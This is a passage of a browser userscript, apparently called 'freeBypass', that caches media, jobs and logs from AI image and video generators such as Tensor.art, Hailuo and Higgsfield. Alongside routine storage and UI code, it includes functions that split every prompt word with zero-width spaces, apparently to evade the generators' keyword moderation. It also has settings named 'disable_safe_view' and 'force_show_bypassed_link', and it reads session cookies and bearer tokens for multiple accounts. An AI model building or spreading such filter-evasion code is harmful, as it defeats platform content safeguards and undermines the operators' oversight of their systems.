      taskId: entry.taskId || prev.taskId || null,
      mediaType,
      url: normalizedUrl,
      previewUrl: String(entry.previewUrl || prev.previewUrl || normalizedUrl),
      source: String(entry.source || prev.source || 'grok-capture'),
      mimeType: String(entry.mimeType || prev.mimeType || (mediaType === 'video' ? 'video/mp4' : 'image/jpeg')),
      updatedAt: Date.now(),
      raw: entry.raw || prev.raw || null
    };
    saveGrokMediaCache(cache);
    // Intentionally avoid auto-refreshing UI on every captured media event.
    // User can refresh manually from the Grok Items tab.
  }

  function getGrokMediaEntries() {
    const cache = loadGrokMediaCache();
    return Object.values(cache).sort((a, b) => Number(b.updatedAt || 0) - Number(a.updatedAt || 0));
  }

  // ============================================================================
  // HAILUO (hailuoai.video / hailuoai.com) CACHE + LOGS
  // NOTE: This module is intentionally limited to *capturing and organizing media URLs
  // that are already present in the page/DOM*. It does not implement moderation/paywall
  // bypassing, response forgery, or CSP evasion.
  // ============================================================================

  function hailuoReadSharedStoreSync(key, fallback) {
    // Prefer userscript storage so hailuoai.video and hailuoai.com share one cache.
    try {
      if (typeof GM_getValue === 'function') {
        const raw = GM_getValue(key, null);
        if (raw != null) return raw;
      }
    } catch {
      // ignore
    }

    // Fallback: origin-local storage.
    try {
      const raw = localStorage.getItem(key);
      if (!raw) return fallback;
      return JSON.parse(raw);
    } catch {
      return fallback;
    }
  }

  function hailuoWriteSharedStore(key, value) {
    try {
      if (typeof GM_setValue === 'function') {
        GM_setValue(key, value);
      }
    } catch {
      // ignore
    }

    try {
      if (typeof GM !== 'undefined' && typeof GM.setValue === 'function') {
        GM.setValue(key, value).catch(() => {});
      }
    } catch {
      // ignore
    }

    try {
      localStorage.setItem(key, JSON.stringify(value));
    } catch {
      // ignore
    }
  }

  function loadHailuoLogs() {
    const raw = hailuoReadSharedStoreSync(HAILUO_LOGS_KEY, []);
    return Array.isArray(raw) ? raw : [];
  }

  function saveHailuoLogs(logs) {
    hailuoWriteSharedStore(HAILUO_LOGS_KEY, Array.isArray(logs) ? logs : []);
  }

  function addHailuoUiLog(level, message, details = null) {
    if (!settings.hailuoEnableUiLogs) return;
    const max = Math.max(50, Math.min(5000, Number(settings.hailuoMaxLogs) || 500));
    const logs = loadHailuoLogs();
    logs.push({
      id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
      ts: new Date().toISOString(),
      level: String(level || 'info').toLowerCase(),
      message: String(message || ''),
      details: details || null
    });
    if (logs.length > max) logs.splice(0, logs.length - max);
    saveHailuoLogs(logs);
    refreshLiveLogPanel('hailuo');
  }

  function clearHailuoUiLogs() {
    saveHailuoLogs([]);
  }

  function exportHailuoLogsToJson() {
    const logs = loadHailuoLogs();
    const payload = {
      kind: 'bypass-hailuo-logs-export',
      version: 1,
      exportedAt: new Date().toISOString(),
      count: logs.length,
      source: {
        domain: window.location.hostname,
        href: window.location.href
      },
      items: logs
    };
    downloadJsonFile(`bypass_hailuo_logs_${buildExportTimestamp()}.json`, payload);
    showToast(`Exported ${logs.length} Hailuo log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
  }

  function loadHailuoMediaCache() {
    const raw = hailuoReadSharedStoreSync(HAILUO_MEDIA_CACHE_KEY, {});
    return raw && typeof raw === 'object' ? raw : {};
  }

  function saveHailuoMediaCache(cache) {
    hailuoWriteSharedStore(HAILUO_MEDIA_CACHE_KEY, cache && typeof cache === 'object' ? cache : {});
  }

  function hailuoInferMediaType(url) {
    const u = String(url || '').toLowerCase();
    if (u.includes('.mp4') || u.includes('.webm') || u.includes('.mov') || u.includes('.m4v') || u.includes('.m3u8')) return 'video';
    if (u.includes('.png') || u.includes('.jpg') || u.includes('.jpeg') || u.includes('.gif') || u.includes('.webp')) return 'image';
    return '';
  }

  function hailuoComputeId(url) {
    const value = String(url || '').trim();
    if (!value) return '';
    try {
      const u = new URL(value);
      const name = u.pathname.split('/').filter(Boolean).pop() || '';
      return name || value;
    } catch {
      return value;
    }
  }

  function upsertHailuoMediaEntry(entry = {}) {
    if (!settings.hailuoCaptureMediaLinks) return;
    const url = String(entry.url || '').trim();
    if (!url || !/^https?:\/\//i.test(url)) return;

    // Skip obvious non-media / UI assets.
    if (/\.(css|js|mjs|map|ico|svg|woff2?|ttf|otf)(\?|$)/i.test(url)) return;
    if (/(favicon|sprite|analytics|telemetry|segment|sentry|hotjar)/i.test(url)) return;

    const inferred = hailuoInferMediaType(url);
    const rawType = String(entry.mediaType || '').toLowerCase();
    const mediaType = rawType === 'video' || rawType === 'image' ? rawType : inferred;
    if (!mediaType) return;
    const id = String(entry.id || hailuoComputeId(url) || url).trim();
    if (!id) return;

    const cache = loadHailuoMediaCache();
    const wasNew = !cache[id];
    const prev = cache[id] || {};
    cache[id] = {
      ...prev,
      id,
      mediaType: mediaType === 'video' ? 'video' : 'image',
      url,
      previewUrl: String(entry.previewUrl || prev.previewUrl || url),
      source: String(entry.source || prev.source || 'hailuo-dom'),
      mimeType: String(entry.mimeType || prev.mimeType || (mediaType === 'video' ? 'video/mp4' : 'image/jpeg')),
      updatedAt: Date.now(),
      raw: entry.raw || prev.raw || null
    };
    saveHailuoMediaCache(cache);

    if (wasNew) {
      addHailuoUiLog('success', 'Cached new Hailuo media entry', {
        id,
        mediaType: cache[id].mediaType,
        source: cache[id].source
      });
    }

    if (IS_HAILUO_DOMAIN && settings.hailuoAutoRefreshItems && currentTab === 'home') {
      scheduleUIRefresh();
    }
  }

  function getHailuoMediaEntries() {
    const cache = loadHailuoMediaCache();
    return Object.values(cache).sort((a, b) => Number(b.updatedAt || 0) - Number(a.updatedAt || 0));
  }

  function exportHailuoMediaCacheToJson() {
    const entries = getHailuoMediaEntries();
    const payload = {
      kind: 'bypass-hailuo-media-export',
      version: 1,
      exportedAt: new Date().toISOString(),
      count: entries.length,
      source: {
        domain: window.location.hostname,
        href: window.location.href
      },
      items: entries
    };
    downloadJsonFile(`bypass_hailuo_items_${buildExportTimestamp()}.json`, payload);
    showToast(`Exported ${entries.length} Hailuo item(s)`, 'success');
  }

  class HiggsfieldIndexedStore {
    static dbName = 'higgsfield';
    static dbVersion = 2;
    static dbp = null;
    static storesToCreate = new Set();

    constructor({ storeName }) {
      if (!storeName) throw new Error('storeName is required');
      this.storeName = storeName;
      HiggsfieldIndexedStore.storesToCreate.add(storeName);
    }

    async init() {
      if (HiggsfieldIndexedStore.dbp) return HiggsfieldIndexedStore.dbp;
      HiggsfieldIndexedStore.dbp = new Promise((resolve, reject) => {
        const request = indexedDB.open(HiggsfieldIndexedStore.dbName, HiggsfieldIndexedStore.dbVersion);
        request.onupgradeneeded = (e) => {
          const db = e.target.result;
          for (const storeName of HiggsfieldIndexedStore.storesToCreate) {
            if (!db.objectStoreNames.contains(storeName)) {
              db.createObjectStore(storeName, { keyPath: 'id' });
            }
          }
        };
        request.onsuccess = (e) => resolve(e.target.result);
        request.onerror = (e) => reject(e.target.error);
      });
      return HiggsfieldIndexedStore.dbp;
    }

    async get(id) {
      const db = await this.init();
      return new Promise((resolve, reject) => {
        const tx = db.transaction(this.storeName, 'readonly');
        const req = tx.objectStore(this.storeName).get(id);
        req.onsuccess = (e) => resolve(e.target.result);
        req.onerror = (e) => reject(e.target.error);
      });
    }

    async getAll(filterFn, sortField = 'created_at', desc = true) {
      const db = await this.init();
      return new Promise((resolve, reject) => {
        const tx = db.transaction(this.storeName, 'readonly');
        const req = tx.objectStore(this.storeName).getAll();
        req.onsuccess = (e) => {
          let result = e.target.result || [];
          if (typeof filterFn === 'function') result = result.filter(filterFn);
          result.sort((a, b) => {
            const aValue = a?.[sortField] ?? a?.createdAt ?? a?.updatedAt ?? 0;
            const bValue = b?.[sortField] ?? b?.createdAt ?? b?.updatedAt ?? 0;
            return desc ? (new Date(bValue) - new Date(aValue)) : (new Date(aValue) - new Date(bValue));
          });
          resolve(result);
        };
        req.onerror = (e) => reject(e.target.error);
      });
    }

    async put(record) {
      if (!record || record.id == null) throw new Error('Record must have an id');
      const db = await this.init();
      return new Promise((resolve, reject) => {
        const tx = db.transaction(this.storeName, 'readwrite');
        const req = tx.objectStore(this.storeName).put(record);
        req.onsuccess = () => resolve(record);
        req.onerror = (e) => reject(e.target.error);
      });
    }

    async delete(id) {
      if (id == null) throw new Error('id is required');
      const db = await this.init();
      return new Promise((resolve, reject) => {
        const tx = db.transaction(this.storeName, 'readwrite');
        const req = tx.objectStore(this.storeName).delete(id);
        req.onsuccess = () => resolve(true);
        req.onerror = (e) => reject(e.target.error);
      });
    }

    async clear() {
      const db = await this.init();
      return new Promise((resolve, reject) => {
        const tx = db.transaction(this.storeName, 'readwrite');
        const req = tx.objectStore(this.storeName).clear();
        req.onsuccess = () => resolve(true);
        req.onerror = (e) => reject(e.target.error);
      });
    }
  }

  const higgsfieldJobs = new HiggsfieldIndexedStore({ storeName: 'jobs' });
  const higgsfieldSouls = new HiggsfieldIndexedStore({ storeName: 'souls' });

  function loadHiggsfieldLogs() {
    try {
      const raw = localStorage.getItem(HIGGSFIELD_LOGS_KEY);
      if (!raw) return [];
      const parsed = JSON.parse(raw);
      return Array.isArray(parsed) ? parsed : [];
    } catch {
      return [];
    }
  }

  function saveHiggsfieldLogs(logs) {
    try {
      localStorage.setItem(HIGGSFIELD_LOGS_KEY, JSON.stringify(Array.isArray(logs) ? logs : []));
    } catch {
      // ignore
    }
  }

  function addHiggsfieldUiLog(level, message, details = null) {
    if (!settings.higgsfieldEnableUiLogs) return;
    const max = Math.max(50, Math.min(5000, Number(settings.higgsfieldMaxLogs) || 500));
    const logs = loadHiggsfieldLogs();
    logs.push({
      id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
      ts: new Date().toISOString(),
      level: String(level || 'info').toLowerCase(),
      message: String(message || ''),
      details: details || null
    });
    if (logs.length > max) logs.splice(0, logs.length - max);
    saveHiggsfieldLogs(logs);
    refreshLiveLogPanel('higgsfield');
  }

  function clearHiggsfieldUiLogs() {
    saveHiggsfieldLogs([]);
  }

  function exportHiggsfieldLogsToJson() {
    const logs = loadHiggsfieldLogs();
    downloadJsonFile(`bypass_higgsfield_logs_${buildExportTimestamp()}.json`, {
      kind: 'bypass-higgsfield-logs-export',
      version: 1,
      exportedAt: new Date().toISOString(),
      count: logs.length,
      source: { domain: window.location.hostname, href: window.location.href },
      items: logs
    });
    showToast(`Exported ${logs.length} Higgsfield log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
  }

  function obfuscateHiggsfieldWord(word) {
    return String(word || '').split('').join('\u200B');
  }

  function obfuscateHiggsfieldPrompt(prompt) {
    return String(prompt || '').replace(/\b\w+\b/g, (match) => obfuscateHiggsfieldWord(match));
  }

  function mapHiggsfieldJobSetToProject(jobSet = {}) {
    const params = jobSet?.params || {};
    return {
      id: jobSet.job_set_id || jobSet.id,
      type: jobSet.job_set_type || jobSet.type || null,
      project_id: jobSet.job_set_parent_id || jobSet.project_id || null,
      created_at: jobSet.created_at || new Date().toISOString(),
      parent_id: jobSet.job_set_parent_id || jobSet.parent_id || null,
      params: {
        prompt: params.prompt || '',
        width: params.width ?? null,
        height: params.height ?? null,
        steps: params.steps ?? null,
        batch_size: params.batch_size ?? null,
        seed: params.seed ?? null,
        enhance_prompt: params.enhance_prompt ?? null,
        sample_shift: params.sample_shift != null ? Number(params.sample_shift) : null,
        sample_guide_scale: params.sample_guide_scale != null ? Number(params.sample_guide_scale) : null,
        use_sage_attention: params.use_sage_attention ?? null,
        quality: params.quality ?? null,
        image_reference: params.image_reference ?? null,
        use_relax: params.use_relax ?? null,
        style_id: params.style_id ?? null,
        style: params.style ? {
          id: params.style.id,
          name: params.style.name,
          url: params.style.url,
          strength: params.style.strength != null ? Number(params.style.strength) : null
        } : null,
        style_strength: params.style_strength != null ? Number(params.style_strength) : null,
        custom_reference_id: params.custom_reference_id ?? null,
        ...(params.custom_reference ? {
          custom_reference: {
            id: params.custom_reference.id,
            name: params.custom_reference.name,
            url: params.custom_reference.url,
            strength: Number(params.custom_reference.strength ?? 1)
          },
          custom_reference_strength: Number(params.custom_reference.strength ?? 1)
        } : {})
      },
      jobs: Array.isArray(jobSet.jobs) ? jobSet.jobs : (jobSet.id ? [{
        id: jobSet.id,
        status: jobSet.status,
        result: jobSet.result,
        results: jobSet.results,
        board_ids: jobSet.board_ids,
        published_at: jobSet.published_at,
        meta: jobSet.meta,
        created_at: jobSet.created_at,
        user_id: jobSet.user_id,
        trace_id: jobSet.trace_id,
        folder_ids: jobSet.folder_ids,
        is_favourite: jobSet.is_favourite
      }] : [])
    };
  }

  function getHiggsfieldPrimaryResult(record = {}) {
    const job = Array.isArray(record.jobs) ? (record.jobs[0] || {}) : {};
    const raw = job?.results?.raw || job?.results?.min || {};
    const type = raw?.type || (String(raw?.url || '').match(/\.(mp4|webm|mov)(\?|$)/i) ? 'video' : 'image');
    return {
      type,
      url: raw?.url || job?.result?.url || '',
      thumbnail_url: raw?.thumbnail_url || job?.result?.thumbnail_url || '',
      job,
      prompt: record?.params?.prompt || ''
    };
  }

  async function getHiggsfieldJobsForUi() {
    try {
      const all = await higgsfieldJobs.getAll(null, 'created_at', true);
      return Array.isArray(all) ? all : [];
    } catch (err) {
      addHiggsfieldUiLog('error', 'Failed to read Higgsfield jobs', { error: String(err?.message || err) });
      return [];
    }
  }

  async function getHiggsfieldSoulsForUi() {
    try {
      const all = await higgsfieldSouls.getAll(null, 'created_at', true);
      return Array.isArray(all) ? all : [];
    } catch (err) {
      addHiggsfieldUiLog('error', 'Failed to read Higgsfield souls', { error: String(err?.message || err) });
      return [];
    }
  }

  async function upsertHiggsfieldJob(record, reason = 'unknown') {
    if (!settings.higgsfieldCaptureJobs || !record || record.id == null) return null;
    const existing = await higgsfieldJobs.get(record.id).catch(() => null);
    const merged = { ...(existing || {}), ...record, updatedAt: new Date().toISOString() };
    await higgsfieldJobs.put(merged);
    addHiggsfieldUiLog(existing ? 'info' : 'success', existing ? 'Updated Higgsfield job' : 'Captured Higgsfield job', {
      id: merged.id,
      reason,
      status: merged?.jobs?.[0]?.status || null
    });
    return merged;
  }

  async function upsertHiggsfieldSoul(record, reason = 'unknown') {
    if (!settings.higgsfieldCaptureSouls || !record || record.id == null) return null;
    const existing = await higgsfieldSouls.get(record.id).catch(() => null);
    const merged = { ...(existing || {}), ...record, updatedAt: new Date().toISOString() };
    await higgsfieldSouls.put(merged);
    addHiggsfieldUiLog(existing ? 'info' : 'success', existing ? 'Updated Higgsfield soul' : 'Captured Higgsfield soul', {
      id: merged.id,
      reason,
      status: merged?.status || null
    });
    return merged;
  }

  async function exportHiggsfieldJobsToJson() {
    const items = await getHiggsfieldJobsForUi();
    downloadJsonFile(`bypass_higgsfield_jobs_${buildExportTimestamp()}.json`, {
      kind: 'bypass-higgsfield-jobs-export',
      version: 1,
      exportedAt: new Date().toISOString(),
      count: items.length,
      source: { domain: window.location.hostname, href: window.location.href },
      items
    });
    showToast(`Exported ${items.length} Higgsfield job(s)`, 'success');
  }

  async function exportHiggsfieldSoulsToJson() {
    const items = await getHiggsfieldSoulsForUi();
    downloadJsonFile(`bypass_higgsfield_souls_${buildExportTimestamp()}.json`, {
      kind: 'bypass-higgsfield-souls-export',
      version: 1,
      exportedAt: new Date().toISOString(),
      count: items.length,
      source: { domain: window.location.hostname, href: window.location.href },
      items
    });
    showToast(`Exported ${items.length} Higgsfield soul(s)`, 'success');
  }

  async function deleteHiggsfieldJobById(id, reason = 'manual-delete') {
    if (id == null) return false;
    await higgsfieldJobs.delete(id);
    addHiggsfieldUiLog('warn', 'Deleted Higgsfield job', { id, reason });
    if (IS_HIGGSFIELD_DOMAIN && settings.higgsfieldAutoRefreshItems) scheduleUIRefresh();
    return true;
  }

  async function deleteHiggsfieldSoulById(id, reason = 'manual-delete') {
    if (id == null) return false;
    await higgsfieldSouls.delete(id);
    addHiggsfieldUiLog('warn', 'Deleted Higgsfield soul', { id, reason });
    if (IS_HIGGSFIELD_DOMAIN && settings.higgsfieldAutoRefreshItems) scheduleUIRefresh();
    return true;
  }

  function normalizeHiggsfieldImportItems(raw, kind = 'items') {
    const items = Array.isArray(raw) ? raw : (Array.isArray(raw?.items) ? raw.items : null);
    if (!Array.isArray(items)) {
      throw new Error(`Invalid Higgsfield ${kind} JSON. Expected an array or an export object with an items array.`);
    }
    const filtered = items.filter((item) => item && item.id != null);
    if (!filtered.length) {
      throw new Error(`No valid Higgsfield ${kind} entries found in the selected file.`);
    }
    return filtered;
  }

  function importHiggsfieldItemsFromFile(kind = 'jobs') {
    const input = document.createElement('input');
    input.type = 'file';
    input.accept = '.json,application/json';
    input.style.display = 'none';
    document.body.appendChild(input);

    input.addEventListener('change', () => {
      const file = input.files?.[0];
      if (!file) {
        input.remove();
        return;
      }
      const reader = new FileReader();
      reader.onload = async () => {
        try {
          const parsed = JSON.parse(String(reader.result || 'null'));
          const items = normalizeHiggsfieldImportItems(parsed, kind);
          const noun = kind === 'jobs' ? 'job' : 'soul';
          if (!window.confirm(`Import ${items.length} Higgsfield ${noun}${items.length === 1 ? '' : 's'} from ${file.name}? Existing entries with matching ids will be updated.`)) {
            return;
          }
          if (kind === 'jobs') {
            await Promise.all(items.map((item) => upsertHiggsfieldJob(item, 'import:file')));
          } else {
            await Promise.all(items.map((item) => upsertHiggsfieldSoul(item, 'import:file')));
          }
          showToast(`Imported ${items.length} Higgsfield ${noun}${items.length === 1 ? '' : 's'}`, 'success');
          updateUI();
        } catch (err) {
          showToast(String(err?.message || err || 'Failed to import Higgsfield JSON'), 'error');
        } finally {
          input.value = '';
          input.remove();
        }
      };
      reader.onerror = () => {
        showToast('Failed to read selected JSON file', 'error');
        input.remove();
      };
      reader.readAsText(file);
    }, { once: true });

    input.click();
  }

  function showHiggsfieldPreviewDialog({ title = 'Higgsfield Preview', mediaUrl = '', thumbnailUrl = '', mediaType = 'image', subtitle = '', copyText = '', copyLabel = 'Copy', metaLines = [] } = {}) {
    const colors = getThemeColors();
    const overlay = document.createElement('div');
    overlay.style.cssText = 'position:fixed; inset:0; z-index:10000003; background:rgba(0,0,0,0.78); backdrop-filter:blur(8px); display:flex; align-items:center; justify-content:center; padding:18px;';
    const dialog = document.createElement('div');
    dialog.style.cssText = `width:min(860px, 96vw); max-height:92vh; display:flex; flex-direction:column; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:16px; padding:16px; color:${colors.text}; box-shadow:0 25px 80px rgba(0,0,0,0.7);`;
    const previewMarkup = mediaUrl
      ? (mediaType === 'video'
        ? `<video controls autoplay muted playsinline poster="${escapeHtml(thumbnailUrl || '')}" style="width:100%; max-height:60vh; border-radius:12px; background:#000; object-fit:contain;" src="${escapeHtml(mediaUrl)}"></video>`
        : `<img src="${escapeHtml(mediaUrl)}" style="width:100%; max-height:60vh; border-radius:12px; background:#000; object-fit:contain;" />`)
      : '<div style="height:260px; display:flex; align-items:center; justify-content:center; border-radius:12px; background:#020617; color:#64748b;"><i class="fas fa-image"></i></div>';
    dialog.innerHTML = `
      <div style="display:flex; align-items:flex-start; justify-content:space-between; gap:12px; margin-bottom:12px;">
        <div>
          <div style="font-weight:800; font-size:15px;">${escapeHtml(title)}</div>
          ${subtitle ? `<div style="font-size:12px; color:${colors.textSecondary}; margin-top:4px;">${escapeHtml(subtitle)}</div>` : ''}
        </div>
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-close><i class="fas fa-times"></i></button>
      </div>
      <div style="display:flex; flex-direction:column; gap:12px; overflow:auto;">
        ${previewMarkup}
        ${metaLines.length ? `<div style="display:grid; gap:6px; font-size:12px; color:${colors.textSecondary};">${metaLines.map((line) => `<div>${line}</div>`).join('')}</div>` : ''}
      </div>
      <div style="display:flex; gap:10px; justify-content:flex-end; flex-wrap:wrap; margin-top:14px;">
        ${mediaUrl ? '<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-open><i class="fas fa-up-right-from-square"></i> Open</button>' : ''}
        ${copyText ? `<button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px;" data-copy>${escapeHtml(copyLabel)}</button>` : ''}
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-done>Close</button>
      </div>
    `;

    const close = () => overlay.remove();
    dialog.querySelector('[data-close]').onclick = close;
    dialog.querySelector('[data-done]').onclick = close;
    const openBtn = dialog.querySelector('[data-open]');
    if (openBtn) openBtn.onclick = () => { if (mediaUrl) window.open(mediaUrl, '_blank'); };
    const copyBtn = dialog.querySelector('[data-copy]');
    if (copyBtn) {
      copyBtn.onclick = async () => {
        if (!copyText) return;
        if (navigator.clipboard?.writeText) {
          await navigator.clipboard.writeText(copyText);
          showToast(`${copyLabel} copied`, 'success');
        }
      };
    }
    overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
    overlay.appendChild(dialog);
    document.body.appendChild(overlay);
  }

  // Deletion rules storage key
  const DELETION_RULES_KEY = 'freeBypassDeletionRulesV1';

  // User account & cache system
  const USER_ACCOUNTS_KEY = 'freeBypassUserAccounts';
  const USER_PROFILE_CACHE_KEY = 'freeBypassUserProfiles';
  const USER_ACCOUNT_TASKS_KEY = 'freeBypassAccountTasks';
  const USER_PROFILE_CAPTURE_KEY = 'freeBypassSeenTensorProfiles';
  const USER_ACCOUNT_DETECT_STATE_KEY = 'freeBypassTensorAccountDetectState';
  let currentUserProfile = null;
  let currentUserVipInfo = null;
  let currentPreviewUserToken = null;
  let selectedAccountsForCompile = new Set();
  let cachedUserAccounts = JSON.parse(localStorage.getItem(USER_ACCOUNTS_KEY) || '{}');
  let cachedUserProfiles = JSON.parse(localStorage.getItem(USER_PROFILE_CACHE_KEY) || '{}');
  let accountTasksCache = JSON.parse(localStorage.getItem(USER_ACCOUNT_TASKS_KEY) || '{}');
  let observedTensorProfiles = (() => {
    try {
      const parsed = JSON.parse(localStorage.getItem(USER_PROFILE_CAPTURE_KEY) || '{}');
      return parsed && typeof parsed === 'object' ? parsed : {};
    } catch {
      return {};
    }
  })();
  let tensorAccountDetectState = (() => {
    try {
      const parsed = JSON.parse(localStorage.getItem(USER_ACCOUNT_DETECT_STATE_KEY) || 'null');
      return parsed && typeof parsed === 'object'
        ? {
            armed: parsed.armed === true,
            token: parsed.token ? String(parsed.token) : null,
            reason: parsed.reason ? String(parsed.reason) : '',
            armedAt: Number(parsed.armedAt) || 0,
            lastSource: parsed.lastSource ? String(parsed.lastSource) : ''
          }
        : { armed: false, token: null, reason: '', armedAt: 0, lastSource: '' };
    } catch {
      return { armed: false, token: null, reason: '', armedAt: 0, lastSource: '' };
    }
  })();

  // Cache structure: { [userToken]: { profile, vipInfo, tasks: {} } }
  const tokenizedCache = {};

  // TensorHub support
  const TENSORHUB_ACCOUNTS_KEY = 'freeBypassTensorHubAccounts';
  const TENSORHUB_TASKS_KEY = 'freeBypassTensorHubTasks';
  const CACHE_DELETION_KEY = 'freeBypassCacheDeletions';
  const PIXVERSE_LOGS_KEY = 'freeBypassPixverseLogsV1';
  const PIXVERSE_MEDIA_CACHE_KEY = 'freeBypassPixverseMediaCacheV1';
  const GROK_LOGS_KEY = 'freeBypassGrokLogsV1';
  const GROK_MEDIA_CACHE_KEY = 'freeBypassGrokMediaCacheV1';
  const HIGGSFIELD_LOGS_KEY = 'freeBypassHiggsfieldLogsV1';
  const HAILUO_LOGS_KEY = 'freeBypassHailuoLogsV1';
  const HAILUO_MEDIA_CACHE_KEY = 'freeBypassHailuoMediaCacheV1';
  let tensorhubToken = null;
  let tensorhubUserProfile = null;
  let cachedTensorHubAccounts = JSON.parse(localStorage.getItem(TENSORHUB_ACCOUNTS_KEY) || '{}');
  let tensorhubTasksCache = JSON.parse(localStorage.getItem(TENSORHUB_TASKS_KEY) || '{}');
  let cacheDeletions = JSON.parse(localStorage.getItem(CACHE_DELETION_KEY) || '{"noRegain":[], "hidden":[]}')

  // Remote config and announcements
  let remoteConfig = null;
  let remoteConfigAppliedAt = 0;
  let remoteConfigWatcherTimer = null;
  let remoteConfigFetchInFlight = null;
  let remoteConfigRemoteDisabledShown = false;
  // Hash of the last config version that actually triggered a full UI rebuild.
  // Used to suppress spurious rebuildson repeated loads of the same config.
  let _remoteConfigAppliedHash = '';

  // Template info cache: templateId → { workflowTemplateId, name }
  const templateInfoCache = new Map();

  // Community Share AI Tools runtime state
  let communityToolsCache = null;
  let communityToolsCacheAt = 0;
  let communitySharedTemplateIds = new Set(
    JSON.parse(localStorage.getItem('freeBypassCommunitySharedIds') || '[]')
  );
  // Full template detail payload cache (from intercepted workflow/v1/workflow/template/detail)
  const templateDetailCache = new Map(); // templateId → full response JSON
  // Track which custom notifications tab is active ('FREEINTERNET' | 'COMMUNITY' | null = native)
  let currentNotificationsTab = null;
  const pendingTasks = new Map();
  let taskMonitorInterval = null;
  const shownAnnouncements = new Set(JSON.parse(localStorage.getItem('freeBypassShownAnnouncements') || '[]'));
  const ANNOUNCEMENT_CACHE_KEY = 'freeBypassAnnouncementCache';
  let announcementCache = null;
  const runtimeShownAnnouncements = new Set();
  let notificationInjectionInterval = null;

  // Remote update state (derived from remote config)
  let sharedUpdateState = {
    hasUpdate: false,
    required: false,
    version: null,
    title: null,
    downloadUrl: null,
    messageText: null
  };

  function setSharedUpdateState(patch = {}) {
    sharedUpdateState = { ...sharedUpdateState, ...(patch || {}) };
    applySharedUpdateStateToUi();
  }

  function applySharedUpdateStateToUi() {
    try {
      applyUpdateStateToCollapsedButton(document.querySelector('.bypass-collapsed-btn'));
    } catch {
      // ignore
    }
    try {
      applyUpdateStateToHeader(document.querySelector('.bypass-header'));
    } catch {
      // ignore
    }
  }

  function applyUpdateStateToCollapsedButton(btn) {
    if (!btn) return;
    const required = !!sharedUpdateState.required;
    const wasRequired = btn.classList.contains('update-required');
    btn.classList.toggle('update-required', required);

    const span = btn.querySelector('span');
    const icon = btn.querySelector('i');

    if (required) {
      if (span) span.textContent = 'UPDATE REQUIRED';
      if (icon) icon.className = 'fas fa-triangle-exclamation';
      const v = sharedUpdateState.version ? ` (v${sharedUpdateState.version})` : '';
      btn.title = `Update required${v}`;
      return;
    }

    // Revert to normal button if we previously forced required state.
    if (wasRequired) {
      if (span) span.textContent = 'Bypass';
      if (icon) icon.className = 'fas fa-shield-alt';
      btn.title = '';
    }
  }

  function applyUpdateStateToHeader(headerEl) {
    if (!headerEl) return;
    const msgEl = headerEl.querySelector('[data-bypass-header-message]');
    if (!msgEl) return;

    if (!sharedUpdateState.hasUpdate) {
      msgEl.style.display = 'none';
      msgEl.textContent = '';
      msgEl.onclick = null;
      msgEl.removeAttribute('title');
      msgEl.classList.remove('is-required');
      return;
    }

    const versionLabel = sharedUpdateState.version ? `v${sharedUpdateState.version}` : '';
    const prefix = sharedUpdateState.required ? 'UPDATE REQUIRED' : 'Update available';
    const title = sharedUpdateState.title ? ` — ${sharedUpdateState.title}` : '';
    const composed = `${prefix}${versionLabel ? ` — ${versionLabel}` : ''}${title}`;

    msgEl.textContent = composed;
    msgEl.style.display = 'inline-flex';
    msgEl.classList.toggle('is-required', !!sharedUpdateState.required);

    if (sharedUpdateState.downloadUrl) {
      msgEl.style.cursor = 'pointer';
      msgEl.title = 'Click to open update download';
      msgEl.onclick = (e) => {
        e.preventDefault();
        e.stopPropagation();
        try {
          window.open(sharedUpdateState.downloadUrl, '_blank', 'noopener,noreferrer');
        } catch {
          // ignore
        }
      };
    } else {
      msgEl.style.cursor = 'default';
      msgEl.onclick = null;
      msgEl.removeAttribute('title');
    }
  }
  const remoteRuntimeDefaults = {
    notifications: {
      enabled: true,
      scanIntervalMs: 50,
      injectDropdown: true,
      injectNotificationsPageTab: true,
      openUrl: 'https://tensor.art/notifications',
      includeAnnouncements: true,
      includeUpdates: true,
      maxItems: 100,
      ignoreWaitDefault: false
    },
    runtime_controls: {
      disable_floating_panel: false,
      disable_dom_injection: false,
      disable_safe_view: false,
      disable_task_actions: false,
      disable_telegram: false,
      disable_discord: false,
      disable_profile_tasks: false,
      force_inherit_theme: null,
      force_preview: null,
      force_show_bypassed_link: null
    }
  };

  // Design System - Modern Color Palette
  const designSystem = {
    dark: {
      primary: '#6366f1',
      primaryHover: '#4f46e5',
      bg: '#0f172a',
      bgSecondary: '#1e293b',
      bgTertiary: '#334155',
      text: '#f1f5f9',
      textSecondary: '#cbd5e1',
      border: '#475569',
      success: '#10b981',
      error: '#ef4444',
      warning: '#f59e0b'
    },
    light: {
      primary: '#6366f1',
      primaryHover: '#4f46e5',
      bg: '#ffffff',
      bgSecondary: '#f8fafc',
      bgTertiary: '#e2e8f0',
      text: '#0f172a',
      textSecondary: '#475569',
      border: '#cbd5e1',
      success: '#059669',
      error: '#dc2626',
      warning: '#d97706'
    }
  };

  async function getToken() {
    const tokenCookie = await window.cookieStore.get('ta_token_prod');
    userToken = tokenCookie ? tokenCookie.value : null;
    if (userToken && !currentPreviewUserToken) {
      currentPreviewUserToken = userToken;
    }
    return userToken;
  }

  function extractBearerTokenFromAuthValue(value) {
    const raw = String(value || '').trim();
    if (!raw) return null;
    const match = raw.match(/^Bearer\s+(.+)$/i);
    return match ? String(match[1] || '').trim() || null : null;
  }

  function readAuthorizationHeaderValue(headersLike) {
    if (!headersLike) return null;
    try {
      if (typeof Headers !== 'undefined' && headersLike instanceof Headers) {
        return headersLike.get('authorization') || headersLike.get('Authorization') || null;
      }
    } catch {
      // ignore cross-realm instanceof issues
    }

    if (Array.isArray(headersLike)) {
      for (const entry of headersLike) {
        if (!Array.isArray(entry) || entry.length < 2) continue;
        if (String(entry[0] || '').toLowerCase() === 'authorization') return entry[1];
      }
      return null;
    }

    if (typeof headersLike?.forEach === 'function') {
      let found = null;
      try {
        headersLike.forEach((value, key) => {
          if (found == null && String(key || '').toLowerCase() === 'authorization') {
            found = value;
          }
        });
      } catch {
